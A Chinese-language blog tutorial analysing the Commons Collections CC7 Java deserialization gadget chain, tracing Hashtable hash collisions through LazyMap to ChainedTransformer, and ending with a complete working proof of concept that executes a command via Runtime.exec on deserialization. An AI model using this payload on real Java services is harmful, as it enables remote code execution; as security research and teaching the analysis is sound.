好久没有分析CC链了，今天来把最后一个CC7分析一下。
首先看一下yso代码：
public Hashtable getObject(final String command) throws Exception {
// Reusing transformer chain and LazyMap gadgets from previous payloads
final String[] execArgs = new String[]{command};
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
execArgs),
new ConstantTransformer(1)};
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");
return hashtable;
}
之前说过CC链都是从任意类到Transform的调用过程，CC7也不例外，所以只要知道入口点然后一步一步向下跟就可以了。
可以看到最后返回的对象是一个hashtable，说明hashtable是反序列化入口点。为了更好的理解调用过程，先来了解一下hashtable。
什么是哈希表
散列表（Hash table，也叫哈希表），是根据关键 码值(Key value)而直接进行访问的数据结构。也
就是说，它通过把关键码值映射到表中一个位置来 访问记录，以加快查找的速度。这个映射函数叫做 散列函数，存放记录的数组叫做散列表。
哈希表是由数组+链表实现的——哈希表底层保存在一个数组中，数组的索引由哈希表的 key.hashCode() 经过计算得到， 数组的值是一个链表，所有哈希碰撞到相同索引的key-value，都会被链接到这个链表后面。
入口
了解了哈希表之后接下来我们看一下入口代码：
这里只贴了关键代码
int elements = s.readInt();
table = new Entry<?,?>[length];
count = 0;
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// sync is eliminated for performance
reconstitutionPut(table, key, value);
}
首先创建一个Entry，这是上文讲到的哈希表中的那个数组。
然后进入for循环读取key,value，然后调用reconstitutionPut方法。
HashTable.reconstitutionPut
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}
可以看到首先通过key计算一个hash值，用这个值进行计算得到index。这个index就是前面创建的Entry数组的索引。
然后判断Entry当前索引处是否有对象，如果有对象的话判断两个对象是否相等。如果不相等的话则通过当前key的hash，以及key,value,和当前数组节点的Entry新建一个Entry挂入当前索引处。
而我们的目标是需要让Entry数组当前索引处的对象哈希与将要挂入的对象哈希一直，这样就会调用e.key.equals从而进入我们的调用链。
控制哈希（重点）
回过头看一下yso的代码，hashtable中有两个LazyMap元素，而LazyMap中封装的是一个Hashmap，而Hashmap中是一个Entry<String,Integer>对象。
接下来我们跟一下计算hashcode的过程。
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}
首先调用key.hashCode。 这里的key就是LazyMap对象。
但是LazyMap类没有实现hashCode方法，所以要看一下他的父类（AbstractMapDecorator类）的实现：
public int hashCode() {
return this.map.hashCode();
}
可以看到AbstractMapDecorator类的hashCode调用了this.map.hashCode。 而this.map是一个hashmap对象，继续跟进hashmap对象：
hashmap没有实现hashcode方法，继续跟进父类AbstractMap.hashCode:
public int hashCode() {
int h = 0;
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext())
h += i.next().hashCode();
return h;
}
可以看到首先通过entrySet().iterator();获取一个迭代器，然后通过迭代器循环调用元素的hashCode方法。
transient Set<Map.Entry<K,V>> entrySet;
public Set<Map.Entry<K,V>> entrySet() {
Set<Map.Entry<K,V>> es;
return (es = entrySet) == null ? (entrySet = new EntrySet()) : es;
}
entrySet()返回的是一个Set，这个Set的元素是Map.Entry<K,V>,Entry<K,V>是一个接口，这个接口在Hashmap中被Node类实现，继续看一下Node.HashCode方法：
public final int hashCode() {
return Objects.hashCode(key) ^ Objects.hashCode(value);
}
Node.HashCode方法如上，可以看到调用了Objects.hashCode并将key,value当作参数传进去并且将他们的结果进行异或计算。
看一下Objects.hashcode:
public static int hashCode(Object o) {
return o != null ? o.hashCode() : 0;
}
可以看到Objects.hashCode中只要参数不为null就调用参数的hashCode方法。
而当前hashmap中的key,value为<String,Integer>类型。 所以想要控制hash就要看一下String和int类型的hashcode方法了：
String.hashCode代码如下：
public int hashCode() {
int h = hash;
if (h == 0 && value.length > 0) {
char val[] = value;
for (int i = 0; i < value.length; i++) {
h = 31 * h + val[i];
}
hash = h;
}
return h;
}
hash是一个类成员变量，代表该对象的hash值，默认为0。当第一次调用hashCode时该成员会被赋值，当以后在调用该方法时则直接返回hash变量。
而hash的计算方式就是将字符串除了最后一个字符其他的乘31后相加。
Integer.hashCode代码如下：
public int hashCode() {
return Integer.hashCode(value);
}
public static int hashCode(int value) {
return value;
}
很简单，直接返回自身。
到这里我们已经可以基本了解如何控制哈希了。
只要两个lazyMap中的Key.hashCode()^value.hashCode()保持一致即可，CC7链的做法是通过控制key，也就是String的hashcode，而Integer始终为1，这样只要String的hash一致那么最终的 lazyMap.hash就一致。
但是更简单的办法是通过Integer来控制最终的hash，因为Integer.hashCode直接返回自身，所以与其控制String的hash不如直接控制Integer来的更方便。只要让Integer的hash与key.hashCode保持一致，那么进行异或运算后最终结果就是0，这样我们可以随意设置key的值，比如这样:
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put((short)12, 12);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put(new URL("http://www.baidu.com"), -588894355);
AbstractMapDecorator.equals
控制哈希相等后，就会进入LazyMap.equals方法，因为LazyMap没有实现equals方法所以调用了AbstractMapDecorator.equals方法，代码如下：
public boolean equals(Object object) {
return object == this ? true : this.map.equals(object);
}
AbstractMap.equals
可以看到AbstractMapDecorator.equals调用了this.map.equals，而当前的map是hashMap。因为hashMap没有实现equals方法所以调用父类（AbstractMap）的equals方法，代码如下：
public boolean equals(Object o) {
if (o == this)
return true;
if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;
try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}
return true;
}
从代码中可以看出，首先判断参数是否是一个Map实例，如果不是则代表不相等返回false；然后判断Map的size是否一致，如果否则代表不相等返回false。
经过上面的判断后可以证明参数是一个Map并且长度一致，接下来就获取一个迭代器循环判断每个元素是否相等。
首先获取自身的key和value，然后判断自身的value是否为空，如果不为空则判断和目标参数value是否一致。判断value的时候就调用了LazyMap.get来获取value。这时候将触发我们的调用链。
LazyMap.get
从上面代码可以看到，在equals方法最后调用了LazyMap.get方法，代码如下：
public Object get(Object key) {
if (!this.map.containsKey(key)) {
Object value = this.factory.transform(key);
this.map.put(key, value);
return value;
} else {
return this.map.get(key);
}
}
这时候我们要控制代码执行if语句块中的代码，所以this.map.containsKey一定要为false。所以两个lazyMap中put的key不能一样。
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put((short)12, 12);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put(new URL("http://www.baidu.com"), -588894355);
ChainedTransformer.transform
接下来就进入了this.factory.transform(key)这个调用，而factory就是我们精心构造的命令执行的调用链。
这个调用链在每个CC链中都有用到，这里就不展开了。
最终POC
最后贴一下本地测试demo
public class demo1 {
public static void main(String[] args) throws Exception{
String command = "calc";
final String[] execArgs = new String[]{command};
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
execArgs),
new ConstantTransformer(1)};
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put((short)12, 12);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put(new URL("http://www.baidu.com"), -588894355);
// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
setFieldValue(transformerChain, "iTransformers", transformers);
// Needed to ensure hash collision after previous manipulations
lazyMap2.remove((short)12);
ByteOutputStream bos = new ByteOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(hashtable);
ByteInputStream bis = new ByteInputStream(bos.getBytes(),bos.getBytes().length);
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
}
public static void setFieldValue(Object ob,String field,Object value) {
Field fd = null;
try{
fd = ob.getClass().getDeclaredField(field);
fd.setAccessible(true);
}
catch (Exception e)
{
try {
fd = ob.getClass().getField(field);
}catch (Exception es){
System.out.println(es);
}
}
try {
fd.set(ob,value);
}catch (Exception exc){
System.out.println(exc);
}
}
}
调用链
HashTable.readObject
HashTable.reconstitutionPut
AbstractMapDecorator.equals
AbstractMap.equals
LazyMap.get
ChainedTransformer.transform
总结
总体来说这条链还是比较简单的，从LazyMap类到Transformer的链之前已经遇见好多次了。唯一不同的就是hashTable控制哈希这里，不过感觉还是相对简单的。
